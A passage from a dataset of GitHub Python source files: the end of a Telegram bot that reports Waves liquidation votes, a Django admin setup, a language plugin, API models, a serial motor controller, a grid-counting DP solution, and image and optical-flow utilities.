msg=msg)\n\n def kolkhoz(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"kolkhoz\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def forklog(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"forklog\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def cgu(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"cgu\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def insiders(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"insiders\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def check_address(self, address):\n res = \"*Your votes:*\\n\"\n key = f\"VOTE_{address}_\"\n for farm in self.farms.values():\n for el in farm.data:\n if key in el[\"key\"]:\n if el[\"value\"] == \"true\":\n res += f\"-- *{farm.name} Liquidate: YES*\\n\"\n if el[\"value\"] == \"false\":\n res += f\"-- *{farm.name} Liquidate: NO*\\n\"\n return res\n\n \n \n\n ###############################################\n\n ############ HANDLERS #########\n # handle /start command. If user exists, send welcome message, else create user\n def start(self, update, context):\n \"\"\"Handling start of user communications with bot (/start)\n if new user, create and add entity to USER_MANAGER\n if existing user, send welcome message\"\"\"\n # print(update)\n name = update.message.chat.username\n user_id = update.message.chat.id\n if not self.check_id(user_id):\n user = self.user_manager.create_user(user_id, name)\n # loglog(msg=f\"User {id} {name} joined\")\n self.send_to_me(msg=f\"User {user.id} {user.name} joined\")\n msg = self.get_welcome_msg()\n self.send_by_id(id=user_id, msg=msg)\n else:\n # msg = f\"Welcome! Your have {user.deposit} attempts. Enter /help to see available options\"\n msg = self.get_welcome_msg()\n self.send_by_id(id=user_id, msg=msg)\n\n def txt_handler(self, update, context):\n \"\"\"Handle direct user input, whithout commands\"\"\"\n user_id = update.message.chat.id\n text = update.message.text\n # self.user_manager.decrement_deposit(user_id=user_id)\n # self.send_by_id(id=id, msg=\"Sorry, paused for fixing, for approximately 2h, all deposits will be restored :)\")\n # msg = self.parse_text(text)\n # msg = msg.replace(\"*\", \"\\*\")\n # msg = msg.replace(\"_\", \"\\_\")\n\n msg = self.parse_text(text)\n self.send_by_id(id=user_id, msg=msg)\n\n def parse_text(self, text):\n \"\"\" Mentioned as main processing method\n Parse text, entered by user, check for correctness and call another methods\n accordingly to user input\"\"\"\n\n result = \"Your are so awesome :-), paste Waves address to see your votes\"\n matches = re.search(r\"^[a-zA-Z0-9]+$\", text)\n if matches:\n if len(text) == 35:\n votes = self.check_address(text)\n return votes\n return result\n \n def depo(self, update, context):\n \"\"\"Prints deposit amount for user, called this command\"\"\"\n user_id = update.message.chat.id\n user_depo = self.user_manager.get_user_deposit(user_id=user_id)\n self.send_by_id(id=user_id, msg=f\"Your deposit is {user_depo}\")\n\n def rset(self, update, context):\n \"\"\"Service command which resets deposit to default value for user that called it\n JUST for testing purpose. Should be disabled for production use\"\"\"\n user_id = update.message.chat.id\n self.user_manager.set_deposit(user_id=user_id)\n user_depo = self.user_manager.get_user_deposit(user_id=user_id)\n self.send_by_id(id=user_id, msg=f\"Your deposit is {user_depo}\")\n\n def requestdepo(self, update, context):\n \"\"\"Make record in deporequests.txt that user requested increasing its deposit\n Sends to administrator message about this\n User should place its address to identify if he made payment\n /requestdepo ADDRESS\"\"\"\n user_id = update.message.chat.id\n user = self.user_manager.get_user(user_id=user_id)\n if user != None:\n if len(context.args) == 1:\n address = context.args[0]\n if address.startswith(\"3P\") and len(address) == 35:\n self.user_manager.request_deposit(user_id=user_id, address=address)\n self.send_by_id(id=user.id, msg=f\"Request received, wait for confirm. Address: {address}\")\n self.send_to_me(msg=f\"User {user.id} {user.name} requested deposit. Address: {address}\")\n else:\n self.send_by_id(id=user_id, msg=\"Invalid address\")\n else:\n self.send_by_id(id=user_id, msg=\"Invalid params\")\n\n def refill(self, update, context):\n \"\"\" Increase user deposit (attempts) by given value\n /refill USER_ID AMOUNT\"\"\"\n caller_id = update.message.chat.id\n if str(caller_id) == self.my_id:\n if len(context.args) == 2:\n try:\n user_id = int(context.args[0])\n depo = int(context.args[1])\n except ValueError:\n self.send_by_id(id=caller_id, msg=\"Ivalid params\")\n return\n if self.user_manager.increment_deposit(user_id=user_id, amount=depo):\n msg = f\"Deposit incremented by {depo} for user {user_id}\"\n self.send_by_id(id=caller_id, msg=msg)\n self.send_by_id(id=user_id, msg=f\"Your deposit incremented by {depo}\")\n else:\n self.send_by_id(id=caller_id, msg=f\"User {user_id} not found\")\n else:\n self.send_by_id(id=caller_id, msg=\"Ivalid params\")\n else:\n self.send_by_id(id=caller_id, msg=\"Your are not allowed for this command\")\n\n def broadcast(self, update, context):\n \"\"\"Send message, received from telegram to all users\n /broadcast MESSAGE\"\"\"\n caller_id = update.message.chat.id\n if str(caller_id) == self.my_id:\n if len(context.args) >= 1:\n msg = \" \".join(context.args)\n msg = \"INFO: \" + msg\n self.send_to_all(msg=msg)\n else:\n self.send_to_me(msg=\"Invalid Params\")\n\n def sendto(self, update, context):\n \"\"\"Receive user ID and message from telegram, send\n /sendto USER_ID MESSAGE\"\"\"\n caller_id = update.message.chat.id\n if str(caller_id) == self.my_id:\n if len(context.args) >= 2:\n recip_id = int(context.args[0])\n txt = context.args[1:]\n msg = \" \".join(txt)\n msg = \"INFO: \" + msg\n if self.check_id(user_id=caller_id):\n self.send_by_id(id=recip_id, msg=msg)\n else:\n self.send_to_me(msg=f\"user id {recip_id} not found\")\n else:\n self.send_to_me(msg=\"Invalid Params\")\n\n def get_welcome_msg(self):\n l1 = f\"Colllective Farm Liquidation Voting Info. Updated once in 10 minutes\\n\"\n main = f\"*Paste address to see your votes*\\n\"\n # depo = f\"/depo - to see your current deposit (attempts)\\n\"\n # donat = f\"Donats are welcome: *3PPKpbjNRzsBicoSSNVP7suvmumrTsZP62J*\"\n msg = f\"{l1}{main}\"\n return msg\n\n def help(self, update, context):\n id = update.message.chat.id\n user = self.user_manager.get_user(user_id=id)\n msg = self.get_welcome_msg()\n self.send_by_id(id=id, msg=msg)\n # loglog(f\"{user.id} {user.name} called /help\")\n\n\n\n\n \n\n\n\n","repo_name":"alf1303/Liquidation","sub_path":"telegram_bot/telegram_bot.py","file_name":"telegram_bot.py","file_ext":"py","file_size_in_byte":15150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42917995806","text":"from django.contrib import admin\nfrom django.contrib.admin import ModelAdmin\nfrom django.db import models\nfrom django.core.exceptions import ValidationError\n\nfrom martor.widgets import AdminMartorWidget\n\nfrom .models import Intro, TimelineEvent, Prize, Stat, Count, Timer\n\n\n@admin.register(Intro)\nclass IntroAdmin(ModelAdmin):\n formfield_overrides = {\n models.TextField: {'widget': AdminMartorWidget},\n }\n\n\n@admin.register(TimelineEvent)\nclass TimelineEventAdmin(ModelAdmin):\n formfield_overrides = {\n models.TextField: {'widget': AdminMartorWidget},\n }\n\n\n@admin.register(Prize)\nclass PrizeAdmin(ModelAdmin):\n formfield_overrides = {\n models.TextField: {'widget': AdminMartorWidget},\n }\n\n\n@admin.register(Stat)\nclass StatAdmin(ModelAdmin):\n formfield_overrides = {\n models.TextField: {'widget': AdminMartorWidget},\n }\n\n\n@admin.register(Count)\nclass CountAdmin(ModelAdmin):\n list_display = ['title', 'app_name', 'model_name', 'evall', 'get_count',\n 'show']\n list_editable = ['show']\n formfield_overrides = {\n models.TextField: {'widget': AdminMartorWidget},\n }\n\n\n@admin.register(Timer)\nclass TimerAdmin(ModelAdmin):\n list_display = ['title', 'time']\n\n def save_model(self, request, obj, form, change):\n timer = Timer.objects.all()\n if (timer.count() == 1 and timer.get() != obj) or timer.count() > 1:\n raise ValidationError('There must be only one timer')\n super(TimerAdmin, self).save_model(request, obj, form, change)\n","repo_name":"SharifDataDays/DataDays-2020","sub_path":"apps/homepage/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"25471314686","text":"import os\nfrom collections import defaultdict\nfrom sanic.cookies.request import CookieRequestParameters\n\nfrom plugin_types.getlang import AbstractGetLang\n\n\ndef normalize_lang(s): return s.replace('-', '_')\n\n\nclass GetLang(AbstractGetLang):\n \"\"\"\n A simple implementation of the 'getlang' plugin where a selected\n language is stored in a defined cookie.\n\n arguments:\n cookie_name -- name of the cookie storing current language setting\n fallback_lang -- language code to be used in case no setting is found (default is '')\n \"\"\"\n\n def __init__(self, cookie_name: str, fallback_lang: str = 'en_US'):\n self.cookie_name = cookie_name\n self.fallback_lang = fallback_lang\n self._translations = self.fetch_translations()\n\n @staticmethod\n def fetch_translations():\n ans = defaultdict(lambda: [])\n ans['en'].append('en_US')\n root_dir = os.path.join(os.path.dirname(__file__), '..', '..', '..', 'locale')\n for item in os.listdir(root_dir):\n c = item.split('_')[0]\n ans[c].append(item)\n return ans\n\n def fetch_current_language(self, source):\n \"\"\"\n Returns currently selected language. In this specific\n implementation it is always the 'fallback_lang' (i.e. the\n 'source' argument is not used in any way).\n\n arguments:\n source -- any Cookie.BaseCookie compatible implementation\n\n returns:\n underscore-separated ISO 639 language code and ISO 3166 country code\n of the detected language or an empty string in case no value was found\n \"\"\"\n code = self.fallback_lang\n if not isinstance(source, CookieRequestParameters):\n raise TypeError(f'{__file__} plugin expects CookieRequestParameters instance as a source')\n if self.cookie_name in source:\n key = normalize_lang(source[self.cookie_name]).split('_')[0]\n variants = self._translations[key]\n if len(variants) > 0:\n code = variants[0]\n return code\n\n\ndef create_instance(conf):\n \"\"\"\n Creates a plug-in instance\n\n arguments:\n conf -- settings module or some compatible object (a compatible get() method is enough here)\n \"\"\"\n cookie_name = conf.get('plugins', 'getlang')['cookie']\n fallback_lang = conf.get('plugins', 'getlang').get('fallback_lang', '')\n if fallback_lang is None:\n fallback_lang = ''\n else:\n fallback_lang = fallback_lang.replace('-', '_')\n return GetLang(cookie_name=cookie_name, fallback_lang=fallback_lang)\n","repo_name":"czcorpus/kontext","sub_path":"lib/plugins/default_getlang/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"31"} +{"seq_id":"7252412918","text":"from typing import List\n\nfrom pydantic import BaseModel, Field\n\nstudy_field = Field(title=\"study\", description=\"unique rr study identifier\", example=\"user_id_0\")\n\n\nclass RR(BaseModel):\n study: str = study_field\n sequence: List[int] = Field(\n title=\"Sequence\", description=\"RR intervals in milliseconds\", example=[200, 300, 200, 300, 200, 300]\n )\n\n\nclass Predictions(BaseModel):\n study: str = study_field\n anomaly_proba: List[float] = Field(\n title=\"Anomaly Probabilities\",\n description=\"list of anomaly prediction probabilities\",\n example=[0.5, 0.2, 1.0, 0.2, 0.8, 0.1],\n )\n anomaly_thresh: float = Field(\n title=\"Anomaly Threshold\",\n description=\"threshold for anomaly probabilities separation to `detected` and `not detected`\",\n example=0.4,\n )\n errors: List[int] = Field(\n title=\"Observation Error\",\n description=\"list of observation errors predicted by the model (0 or 1)\",\n example=[0, 1, 0, 1, 1, 0],\n )\n\n\nclass Model500(BaseModel):\n message: str\n","repo_name":"gleberof/cardiospike","sub_path":"cardiospike/api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"41759913064","text":"import serial\nimport threading\nfrom enum import Enum\n\n\nclass MotorAction(Enum):\n CAM_UP=\"cam_up\"\n CAM_DOWN=\"cam_down\"\n\n MOVE_FORWARD=\"move_forward\"\n MOVE_BACKWORD=\"move_backward\"\n MOVE_LEFT=\"move_left\"\n MOVE_RIGHT=\"move_right\"\n\nclass MotorControl(object):\n\n def __init__(self):\n self.serial=serial.Serial(\"/dev/ttyACM0\",9600)\n self._action:MotorAction=None\n self.condition=threading.Condition()\n \n\n def _send(self,message):\n self.serial.write(message.encode())\n\n def set_action(self,action:MotorAction):\n self._action=action\n \n def start(self):\n print(\"start motor\")\n while True:\n with self.condition:\n self.condition.wait()\n self.move()\n print(\"stop motor\")\n \n def move(self):\n self._send(self._action.value)\n \n","repo_name":"jialeiY/theDalek","sub_path":"dalekBrain/src/brain/executors/motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23804717198","text":"MOD = 10 ** 9 + 7\n\n\ndef check(C, i, j):\n \"\"\"check if the pattern j meets the condition on the row i\"\"\"\n\n k = 0\n while (j >> k) > 0:\n if (j >> k) & 1:\n if C[i][k] == '#':\n return False\n k += 1\n return True\n\n\ndef binary_compatible(j, k, W):\n \"\"\"check if the patterns j and k are compatible\"\"\"\n\n k_patterns = []\n for i in range(W):\n if (k >> i) & 1:\n k_patterns.append(True)\n else:\n k_patterns.append(False)\n j_patterns = []\n for i in range(W):\n if (j >> i) & 1:\n j_patterns.append(True)\n else:\n j_patterns.append(False)\n\n for i in range(W):\n if j_patterns[i]:\n if k_patterns[i]:\n return False\n if i > 0 and k_patterns[i - 1]:\n return False\n if i < len(j_patterns) - 1 and k_patterns[i + 1]:\n return False\n return True\n\n\ndef main():\n H, W = map(int, input().split())\n C = []\n for _ in range(H):\n C.append(input())\n\n # bit DP\n opt = [[0 for _ in range(2 ** W)] for _ in range(H)]\n # opt[i][j]: the number of ways to fill the board till row i\n # when the row i is filled with the pattern j\n # (j is represented as a binary number)\n\n valid_patterns = []\n for p in range(2 ** W):\n i = p\n # check if i does not have a successive 1 in the binary representation\n i_patterns = []\n while i > 0:\n if i & 1:\n i_patterns.append(True)\n else:\n i_patterns.append(False)\n i >>= 1\n valid = True\n for j in range(len(i_patterns) - 1):\n if i_patterns[j] and i_patterns[j + 1]:\n valid = False\n break\n if valid:\n valid_patterns.append(p)\n\n # initialize\n for j in valid_patterns:\n if check(C, 0, j):\n opt[0][j] = 1\n\n # DP\n for i in range(1, H):\n for j in valid_patterns:\n if check(C, i, j):\n for k in valid_patterns:\n if binary_compatible(j, k, W):\n opt[i][j] += opt[i - 1][k]\n opt[i][j] %= MOD\n\n # answer\n print(sum(opt[H - 1]) % MOD)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Taise228/Atcoder_tenkei","sub_path":"23_2.py","file_name":"23_2.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37081820226","text":"\n# import _init_paths\nimport os\nimport re\nimport numpy as np\nimport math\nimport time\nfrom PIL import Image\nfrom scipy import misc\nfrom skimage.draw import line_aa\nimport warnings\nimport torch\nimport torch.nn.functional as F\n\n\ndef makeColorwheel():\n\n # color encoding scheme\n\n # adapted from the color circle idea described at\n # http://members.shaw.ca/quadibloc/other/colint.htm\n\n RY = 15\n YG = 6\n GC = 4\n CB = 11\n BM = 13\n MR = 6\n\n ncols = RY + YG + GC + CB + BM + MR\n\n colorwheel = np.zeros([ncols, 3]) # r g b\n\n col = 0\n #RY\n colorwheel[0:RY, 0] = 255\n colorwheel[0:RY, 1] = np.floor(255*np.arange(0, RY, 1)/RY)\n col += RY\n\n #YG\n colorwheel[col:YG+col, 0]= 255 - np.floor(255*np.arange(0, YG, 1)/YG)\n colorwheel[col:YG+col, 1] = 255;\n col += YG;\n\n #GC\n colorwheel[col:GC+col, 1]= 255 \n colorwheel[col:GC+col, 2] = np.floor(255*np.arange(0, GC, 1)/GC)\n col += GC;\n\n #CB\n colorwheel[col:CB+col, 1]= 255 - np.floor(255*np.arange(0, CB, 1)/CB)\n colorwheel[col:CB+col, 2] = 255\n col += CB;\n\n #BM\n colorwheel[col:BM+col, 2]= 255 \n colorwheel[col:BM+col, 0] = np.floor(255*np.arange(0, BM, 1)/BM)\n col += BM;\n\n #MR\n colorwheel[col:MR+col, 2]= 255 - np.floor(255*np.arange(0, MR, 1)/MR)\n colorwheel[col:MR+col, 0] = 255\n return colorwheel\n\n\ndef computeColor(u, v):\n colorwheel = makeColorwheel();\n nan_u = np.isnan(u)\n nan_v = np.isnan(v)\n nan_u = np.where(nan_u)\n nan_v = np.where(nan_v) \n\n u[nan_u] = 0\n u[nan_v] = 0\n v[nan_u] = 0 \n v[nan_v] = 0\n\n ncols = colorwheel.shape[0]\n radius = np.sqrt(u**2 + v**2)\n a = np.arctan2(-v, -u) / np.pi\n fk = (a+1) /2 * (ncols-1) # -1~1 maped to 1~ncols\n k0 = fk.astype(np.uint8) # 1, 2, ..., ncols\n k1 = k0+1;\n k1[k1 == ncols] = 0\n f = fk - k0\n\n img = np.empty([k1.shape[0], k1.shape[1],3])\n ncolors = colorwheel.shape[1]\n for i in range(ncolors):\n tmp = colorwheel[:,i]\n col0 = tmp[k0]/255\n col1 = tmp[k1]/255\n col = (1-f)*col0 + f*col1\n idx = radius <= 1\n col[idx] = 1 - radius[idx]*(1-col[idx]) # increase saturation with radius \n col[~idx] *= 0.75 # out of range\n img[:,:,2-i] = np.floor(255*col).astype(np.uint8)\n\n return img.astype(np.uint8)\n\ndef flow_to_grid(flow):\n # flow: [N, 2, H, W]\n N, _, H, W = flow.size()\n flow_x = flow[:, 0, ...]\n flow_y = flow[:, 1, ...]\n flow_x = flow_x / float(W) * 2.0\n flow_y = flow_y / float(H) * 2.0\n y, x = torch.meshgrid([torch.linspace(-1, 1, steps=H), torch.linspace(-1, 1, steps=W)])\n y, x = y[None, ...], x[None, ...]\n y = y.to(flow.device)\n x = x.to(flow.device)\n grid = torch.zeros(N, H, W, 2).to(flow.device)\n grid[..., 0] = x + flow_x\n grid[..., 1] = y + flow_y\n return grid\n \ndef resize_flow(flow, size):\n # flow: [N, 2, H, W]\n # size: [h, w]\n h, w = size\n fh, fw = flow.size(-2), flow.size(-1)\n flow = F.interpolate(flow, [h, w], mode='nearest')\n flow[..., 0, :, :] = flow[..., 0, :, :] * w / fw\n flow[..., 1, :, :] = flow[..., 1, :, :] * h / fh\n return flow\n \ndef flip_flow(flow):\n # flow: [H, W, 2]\n flow = flow[:, ::-1, :]\n flow[..., 0] = - flow[..., 0]\n return flow\n\ndef compress_flow(flow, bound):\n # input size [H, W, 2]\n flow = flow.copy()\n H, W = flow.shape[0], flow.shape[1]\n \n min_flow, max_flow = np.min(flow), np.max(flow)\n if min_flow < -bound or max_flow > bound:\n warnings.warn('Min: %.4f, Max: %.4f, out of [-%d, %d]' % (min_flow, max_flow, bound, bound))\n \n flow[..., 0] = np.round((flow[..., 0] + bound) / (2. * bound) * 255.)\n flow[..., 1] = np.round((flow[..., 1] + bound) / (2. * bound) * 255.)\n flow[flow < 0] = 0\n flow[flow > 255] = 255\n flow = np.concatenate([flow, np.zeros([H, W, 1])], axis=2)\n flow = flow.astype(np.uint8)\n return flow\n\ndef decompress_flow(flow, bound):\n # input size [H, W, 2]\n flow = flow.copy().astype(np.float32)\n H, W = flow.shape[0], flow.shape[1]\n flow[..., 0] = flow[..., 0] / 255. * 2 * bound - bound\n flow[..., 1] = flow[..., 1] / 255. * 2 * bound - bound\n flow = flow[..., :2]\n return flow\n\ndef bbox_intersection(bb1, bb2):\n x_left = max(bb1[0], bb2[0])\n y_top = max(bb1[1], bb2[1])\n x_right = min(bb1[2], bb2[2])\n y_bottom = min(bb1[3], bb2[3])\n if x_right < x_left or y_bottom < y_top:\n return 0.0\n area = (y_bottom - y_top + 1) * (x_right - x_left + 1)\n return area\n\ndef bbox_transform(ex_rois, gt_rois):\n reshaped = False\n if ex_rois.ndim == 1 or gt_rois.ndim == 1:\n ex_rois = ex_rois.reshape(1, 4)\n gt_rois = gt_rois.reshape(1, 4)\n reshaped = True\n\n ex_widths = ex_rois[:, 2] - ex_rois[:, 0] + 1.0\n ex_heights = ex_rois[:, 3] - ex_rois[:, 1] + 1.0\n ex_ctr_x = ex_rois[:, 0] + 0.5 * ex_widths\n ex_ctr_y = ex_rois[:, 1] + 0.5 * ex_heights\n\n gt_widths = gt_rois[:, 2] - gt_rois[:, 0] + 1.0\n gt_heights = gt_rois[:, 3] - gt_rois[:, 1] + 1.0\n gt_ctr_x = gt_rois[:, 0] + 0.5 * gt_widths\n gt_ctr_y = gt_rois[:, 1] + 0.5 * gt_heights\n\n targets_dx = (gt_ctr_x - ex_ctr_x) / ex_widths\n targets_dy = (gt_ctr_y - ex_ctr_y) / ex_heights\n targets_dw = np.log(gt_widths / ex_widths)\n targets_dh = np.log(gt_heights / ex_heights)\n\n targets = np.vstack(\n (targets_dx, targets_dy, targets_dw, targets_dh)).transpose()\n\n if reshaped:\n targets = targets.reshape(-1)\n\n return targets\n\n\ndef bbox_transform_inv(boxes, deltas):\n if boxes.shape[0] == 0:\n return np.zeros((0, deltas.shape[1]), dtype=deltas.dtype)\n\n reshaped = False\n if boxes.ndim == 1 or deltas.ndim == 1:\n boxes = boxes.reshape(1, 4)\n deltas = deltas.reshape(1, 4)\n reshaped = True\n\n boxes = boxes.astype(deltas.dtype, copy=False)\n\n widths = boxes[:, 2] - boxes[:, 0] + 1.0\n heights = boxes[:, 3] - boxes[:, 1] + 1.0\n ctr_x = boxes[:, 0] + 0.5 * widths\n ctr_y = boxes[:, 1] + 0.5 * heights\n\n dx = deltas[:, 0::4]\n dy = deltas[:, 1::4]\n dw = deltas[:, 2::4]\n dh = deltas[:, 3::4]\n\n pred_ctr_x = dx * widths[:, np.newaxis] + ctr_x[:, np.newaxis]\n pred_ctr_y = dy * heights[:, np.newaxis] + ctr_y[:, np.newaxis]\n pred_w = np.exp(dw) * widths[:, np.newaxis]\n pred_h = np.exp(dh) * heights[:, np.newaxis]\n\n pred_boxes = np.zeros(deltas.shape, dtype=deltas.dtype)\n # x1\n pred_boxes[:, 0::4] = pred_ctr_x - 0.5 * pred_w\n # y1\n pred_boxes[:, 1::4] = pred_ctr_y - 0.5 * pred_h\n # x2\n pred_boxes[:, 2::4] = pred_ctr_x + 0.5 * pred_w\n # y2\n pred_boxes[:, 3::4] = pred_ctr_y + 0.5 * pred_h\n\n if reshaped:\n pred_boxes = pred_boxes.reshape(-1)\n\n return pred_boxes\n\n\nclass Args():\n def __init__(self):\n assert True\n\ndef rand_range(a, b):\n x = np.random.rand()\n y = x * (b - a) + a\n return y\n\ndef relative_coord(box, ref_box, size):\n # get height and width\n hgt = size[0]\n wid = size[1]\n ref_wid = ref_box[2] - ref_box[0]\n ref_hgt = ref_box[3] - ref_box[1]\n # compute the relative coords\n x1 = float(box[0]-ref_box[0]) / ref_wid * wid\n y1 = float(box[1]-ref_box[1]) / ref_hgt * hgt\n x2 = float(box[2]-ref_box[0]) / ref_wid * wid\n y2 = float(box[3]-ref_box[1]) / ref_hgt * hgt\n rel_box = np.array([x1, y1, x2, y2])\n return rel_box\n\ndef crop_patch(I, box, pad_color):\n img_wid = I.size[0]\n img_hgt = I.size[1]\n clip_box = calibrate_box(box, img_wid, img_hgt) \n clip_crop = I.crop(clip_box)\n R = pad_color[0]\n G = pad_color[1]\n B = pad_color[2]\n wid = int(box[2] - box[0])\n hgt = int(box[3] - box[1])\n frame_size = [wid, hgt]\n offset_x = int(max(-box[0], 0))\n offset_y = int(max(-box[1], 0))\n offset_tuple = (offset_x, offset_y) #pack x and y into a tuple\n final_crop = Image.new(mode='RGB',size=frame_size,color=(R,G,B))\n final_crop.paste(clip_crop, offset_tuple)\n return final_crop\n\n\ndef rand_crop(box, min_ratio):\n # crop a patch out from a box, that is at least min_ratio*size large\n wid = box[2] - box[0] + 1\n hgt = box[3] - box[1] + 1\n ratio = rand_range(min_ratio, 1.0)\n crop_wid = int(wid * ratio)\n crop_hgt = int(hgt * ratio)\n\n # x1\n low = int(box[0])\n high = int(box[2] - crop_wid + 1)\n if high > low:\n x1 = np.random.randint(low, high)\n else:\n x1 = low\n\n # y1\n low = int(box[1])\n high = int(box[3] - crop_hgt + 1)\n if high > low:\n y1 = np.random.randint(low, high)\n else:\n y1 = low\n\n x2 = x1 + crop_wid - 1\n y2 = y1 + crop_hgt - 1\n crop_box = np.array([x1, y1, x2, y2])\n return crop_box\n\n\ndef expand_box(box, ratio):\n wid = box[2] - box[0]\n hgt = box[3] - box[1]\n x_center = (box[2] + box[0]) / 2.0\n y_center = (box[3] + box[1]) / 2.0\n context_wid = wid * ratio\n context_hgt = hgt * ratio\n x1 = x_center - context_wid / 2.0\n x2 = x_center + context_wid / 2.0\n y1 = y_center - context_hgt / 2.0\n y2 = y_center + context_hgt / 2.0\n context_box = np.array([x1, y1, x2, y2])\n return context_box\n\ndef box_rel_to_abs(box, wid, hgt):\n if box.ndim == 1:\n box[0] = box[0] * wid\n box[2] = box[2] * wid\n box[1] = box[1] * hgt\n box[3] = box[3] * hgt\n else:\n box[:, 0] = box[:, 0] * wid\n box[:, 2] = box[:, 2] * wid\n box[:, 1] = box[:, 1] * hgt\n box[:, 3] = box[:, 3] * hgt\n return box\n\ndef sigmoid(x):\n y = 1.0 / (1 + np.exp(-x))\n return y\n\ndef read_or_block(filename):\n while True:\n if os.path.isfile(filename):\n break\n time.sleep(5)\n\n # we had the file now\n time.sleep(5)\n res = np.load(filename)\n return res\n\ndef mkdir_imwrite(fig2, img_path):\n path, filename = os.path.split(img_path)\n if not os.path.isdir(path):\n os.makedirs(path)\n fig2.savefig(img_path)\n\n\ndef initHTML(row_n, col_n):\n im_paths = [['NA'] * col_n for idx in range(row_n)]\n captions = [['NA'] * col_n for idx in range(row_n)]\n return im_paths, captions\n\ndef writeHTML(file_name, im_paths, captions, height=200, width=200):\n f=open(file_name, 'w')\n html=[]\n f.write('\\n')\n f.write('\\n')\n f.write('\\n')\n for row in range(len(im_paths)):\n f.write('\\n')\n for col in range(len(im_paths[row])):\n f.write('')\n f.write(' ')\n f.write('\\n\\n')\n\n f.write('\\n')\n for col in range(len(im_paths[row])):\n f.write('')\n f.write(' ')\n f.write('\\n\\n')\n f.write('

    ')\n f.write('
    ')\n f.write(captions[row][col])\n f.write('
    \\n')\n f.close()\n\ndef writeSeqHTML(file_name, im_paths, captions, col_n, height=200, width=200):\n total_n = len(im_paths)\n row_n = int(math.ceil(float(total_n) / col_n))\n f=open(file_name, 'w')\n html=[]\n f.write('\\n')\n f.write('\\n')\n f.write('\\n')\n for row in range(row_n):\n base_count = row * col_n\n f.write('\\n')\n for col in range(col_n):\n if base_count + col < total_n:\n f.write('')\n f.write(' ')\n f.write('\\n\\n')\n\n f.write('\\n')\n for col in range(col_n):\n if base_count + col < total_n:\n f.write('')\n f.write(' ')\n f.write('\\n\\n')\n f.write('

    ')\n f.write('
    ')\n f.write(captions[base_count + col])\n f.write('
    \\n')\n f.close()\n\ndef flip_box(box, wid):\n flipped_box = box.copy()\n if flipped_box.ndim == 1:\n start = flipped_box[0]\n flipped_box[0] = wid - flipped_box[2]\n flipped_box[2] = wid - start\n else:\n start = flipped_box[:, 0].copy()\n flipped_box[:, 0] = wid - flipped_box[:, 2]\n flipped_box[:, 2] = wid - start\n return flipped_box\n\ndef normalize_coord(x, size):\n return float(x) / size * 2 - 1\n\ndef shear_and_rotate(shr=0.1, rot=math.pi/4):\n sh_x = rand_range(-shr,shr)\n sh_y = rand_range(-shr,shr)\n sh_theta = np.array([1,sh_y,0,\n sh_x,1,0,\n 0,0,1]).reshape(3, 3)\n rot_angle = rand_range(-rot,rot)\n cos = math.cos(rot_angle)\n sin = math.sin(rot_angle)\n rot_theta = np.array([cos,sin,0,\n -sin,cos,0,\n 0,0,1]).reshape(3, 3)\n theta = np.matmul(rot_theta, sh_theta)\n return theta\n\ndef box_to_theta(box, im_wid, im_hgt):\n x1 = box[0]\n y1 = box[1]\n x2 = box[2]\n y2 = box[3]\n # compute the baseline theta, which gives us exactly the box\n norm_x1 = normalize_coord(x1, im_wid)\n norm_x2 = normalize_coord(x2, im_wid)\n norm_y1 = normalize_coord(y1, im_hgt)\n norm_y2 = normalize_coord(y2, im_hgt)\n half_wid = (norm_x2 - norm_x1) / 2\n x_center = (norm_x2 + norm_x1) / 2\n half_hgt = (norm_y2 - norm_y1) / 2\n y_center = (norm_y2 + norm_y1) / 2\n theta = np.array([half_wid,0,x_center,0,half_hgt,y_center,0,0,1], dtype=np.float).reshape(3, 3)\n return theta, half_wid, half_hgt, x_center, y_center\n\n \ndef relative_path(ref_path, target_path):\n # common_prefix = os.path.commonprefix([ref_path, target_path])\n return os.path.relpath(target_path, ref_path)\n\n\ndef check_tokens(word1, word2):\n match = 0\n for counter1, token1 in enumerate(word1[0]):\n for counter2, token2 in enumerate(word2[0]):\n if pattern.search(word1[1][counter1]) != None and \\\n pattern.search(word2[1][counter2]) != None and \\\n stemmer.stem(token1) == stemmer.stem(token2):\n match += 1\n return match\n\ndef shape2str(shape):\n str = ''\n for idx, i in enumerate(shape):\n if idx == len(shape)-1:\n str += '%d' % i\n else:\n str += '%d,' % i\n return str\n\ndef calibrate_box(box, wid, hgt):\n new_box = box.copy().astype(np.int)\n if box.ndim == 1:\n new_box[0] = max(round(box[0]), 0)\n new_box[1] = max(round(box[1]), 0)\n new_box[2] = min(round(box[2]), wid-1)\n new_box[3] = min(round(box[3]), hgt-1)\n elif box.ndim == 2:\n new_box[:, 0] = np.maximum(np.round(box[:, 0]), 0)\n new_box[:, 1] = np.maximum(np.round(box[:, 1]), 0)\n new_box[:, 2] = np.minimum(np.round(box[:, 2]), wid-1)\n new_box[:, 3] = np.minimum(np.round(box[:, 3]), hgt-1)\n return new_box\n\ndef softmax(w):\n maxes = np.amax(w, axis=1)\n maxes = np.tile(maxes[:, np.newaxis], [1, w.shape[1]])\n e = np.exp(w - maxes)\n dist = e / np.tile(np.sum(e, axis=1)[:, np.newaxis], [1, w.shape[1]])\n return dist\n\ndef truncate(annot, num):\n new_annot = {}\n 